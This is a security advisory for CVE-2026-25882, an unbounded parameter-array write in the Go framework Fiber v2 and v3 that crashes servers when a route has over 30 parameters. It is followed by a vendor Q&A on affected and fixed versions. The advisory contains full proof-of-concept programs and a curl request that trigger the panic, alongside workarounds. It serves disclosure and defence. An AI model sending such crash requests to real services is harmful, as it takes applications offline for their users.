CVE-2026-25882

A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.

Affected Versions

• Fiber v3.0.0-rc.3 and earlier v3 releases
• Fiber v2.52.10 and potentially all v2 releases (confirmed exploitable)
• Both versions share the same vulnerable routing implementation

Vulnerability Details

Root Cause

Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go:

const maxParams = 30

type DefaultCtx struct {
    values [maxParams]string  // Fixed 30-element array
    // ...
}

The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write:

• v3: path.go:514
• v2: path.go:516

// path.go:514 - NO BOUNDS CHECKING
params[paramsIterator] = path[:i]

When paramsIterator >= 30, this triggers:

panic: runtime error: index out of range [30] with length 30

Attack Scenario

1. Application registers route with >30 parameters (e.g., via code or dynamic routing):

   app.Get("/api/:p1/:p2/:p3/.../p35", handler)
   

2. Attacker sends matching HTTP request:

   curl http://target/api/v1/v2/v3/.../v35
   

3. Server crashes during request processing with runtime panic

Proof of Concept

For Fiber v3

package main

import (
	"fmt"
	"net/http"
	"time"
	"github.com/gofiber/fiber/v3"
)

func main() {
	app := fiber.New()
	
	// Register route with 35 parameters (exceeds maxParams=30)
	path := "/test"
	for i := 1; i <= 35; i++ {
		path += fmt.Sprintf("/:p%d", i)
	}
	
	fmt.Printf("Registering route: %s...\n", path[:50]+"...")
	app.Get(path, func(c fiber.Ctx) error {
		return c.SendString("Never reached")
	})
	fmt.Println("✓ Registration succeeded (NO PANIC)")
	
	go func() {
		app.Listen(":9999")
	}()
	time.Sleep(200 * time.Millisecond)
	
	// Build exploit URL with 35 parameter values
	url := "http://localhost:9999/test"
	for i := 1; i <= 35; i++ {
		url += fmt.Sprintf("/v%d", i)
	}
	
	fmt.Println("\n🔴 Sending exploit request...")
	fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n")
	
	resp, err := http.Get(url)
	if err != nil {
		fmt.Printf("✗ Request failed: %v\n", err)
		fmt.Println("💥 Server crashed!")
	} else {
		fmt.Printf("Response: %d\n", resp.StatusCode)
		resp.Body.Close()
	}
}

Output:

Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)

🔴 Sending exploit request...
Expected: panic at path.go:514 params[paramsIterator] = path[:i]

panic: runtime error: index out of range [30] with length 30

goroutine 40 [running]:
github.com/gofiber/fiber/v3.(*routeParser).getMatch(...)
	/path/to/fiber/path.go:514
github.com/gofiber/fiber/v3.(*Route).match(...)
	/path/to/fiber/router.go:89
github.com/gofiber/fiber/v3.(*App).next(...)
	/path/to/fiber/router.go:142

For Fiber v2

package main

import (
	"fmt"
	"net/http"
	"time"
	"github.com/gofiber/fiber/v2"
)

func main() {
	app := fiber.New()
	
	// Register route with 35 parameters (exceeds maxParams=30)
	path := "/test"
	for i := 1; i <= 35; i++ {
		path += fmt.Sprintf("/:p%d", i)
	}
	
	fmt.Printf("Registering route: %s...\n", path[:50]+"...")
	app.Get(path, func(c *fiber.Ctx) error {
		return c.SendString("Never reached")
	})
	fmt.Println("✓ Registration succeeded (NO PANIC)")
	
	go func() {
		app.Listen(":9998")
	}()
	time.Sleep(200 * time.Millisecond)
	
	// Build exploit URL with 35 parameter values
	url := "http://localhost:9998/test"
	for i := 1; i <= 35; i++ {
		url += fmt.Sprintf("/v%d", i)
	}
	
	fmt.Println("\n🔴 Sending exploit request...")
	fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n")
	
	resp, err := http.Get(url)
	if err != nil {
		fmt.Printf("✗ Request failed: %v\n", err)
		fmt.Println("💥 Server crashed!")
	} else {
		fmt.Printf("Response: %d\n", resp.StatusCode)
		resp.Body.Close()
	}
}

Output (v2):

Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)

🔴 Sending exploit request...
Expected: panic at path.go:516 params[paramsIterator] = path[:i]

panic: runtime error: index out of range [30] with length 30

goroutine 40 [running]:
github.com/gofiber/fiber/v2.(*routeParser).getMatch(...)
	/path/to/fiber/[email protected]/path.go:512
github.com/gofiber/fiber/v2.(*Route).match(...)
	/path/to/fiber/[email protected]/router.go:84
github.com/gofiber/fiber/v2.(*App).next(...)
	/path/to/fiber/[email protected]/router.go:127

Exploitation Requirements

• No authentication required
• Single HTTP request triggers crash
• Trivially scriptable for sustained DoS
• Works against any route with >30 parameters

Real-World Impact

• Public APIs: Remote DoS attacks on vulnerable endpoints
• Microservices: Cascade failures if vulnerable service is critical
• Auto-scaling: Repeated crashes prevent proper recovery
• Monitoring: Log flooding and alert fatigue

Likelihood

HIGH - Exploitation requires only:

• Knowledge of route structure (often public in APIs)
• Standard HTTP client (curl, browser, etc.)
• Single malformed request

Workarounds

Until patched, users should:

1. Audit Routes: Ensure all routes have ≤30 parameters

   # Search for potential issues
   grep -r "/:.*/:.*/:.*" . | grep -v node_modules
   

2. Disable Dynamic Routing: If programmatically registering routes, validate parameter count:

   paramCount := strings.Count(route, ":")
   if paramCount > 30 {
       log.Fatal("Route exceeds maxParams")
   }
   

3. Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact

4. Monitoring: Alert on panic patterns in application logs

Timeline

• 2024-12-24: Vulnerability discovered in v3 during PR #3962 review
• 2024-12-25: Proof of concept confirmed exploitability in v3
• 2024-12-25: Vulnerability confirmed to also exist in v2 (same root cause)
• 2024-12-25: Security advisory created

References

• v3 Related PR: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause)
• Vulnerable Code Locations:
  • v3: path.go:514
  • v2: path.go:516

Credit

Discovered by: @sixcolors (Fiber maintainer) and @TheAspectDev

Kodem intelligence

1. What is CVE-2026-25882? CVE-2026-25882 is a medium-severity security vulnerability in github.com/gofiber/fiber/v2 (go), affecting versions < 2.52.12. It is fixed in 2.52.12, 3.1.0.
2. Which packages are affected by CVE-2026-25882?
   • github.com/gofiber/fiber/v2 (go) (versions < 2.52.12)
   • github.com/gofiber/fiber/v3 (go) (versions <= 3.0.0)
3. Is there a fix for CVE-2026-25882? Yes. CVE-2026-25882 is fixed in 2.52.12, 3.1.0. Upgrade to this version or later.
4. Is CVE-2026-25882 exploitable, and should I be worried? Whether CVE-2026-25882 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-25882 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-25882?
   • Upgrade github.com/gofiber/fiber/v2 to 2.52.12 or later
   • Upgrade github.com/gofiber/fiber/v3 to 3.1.0 or later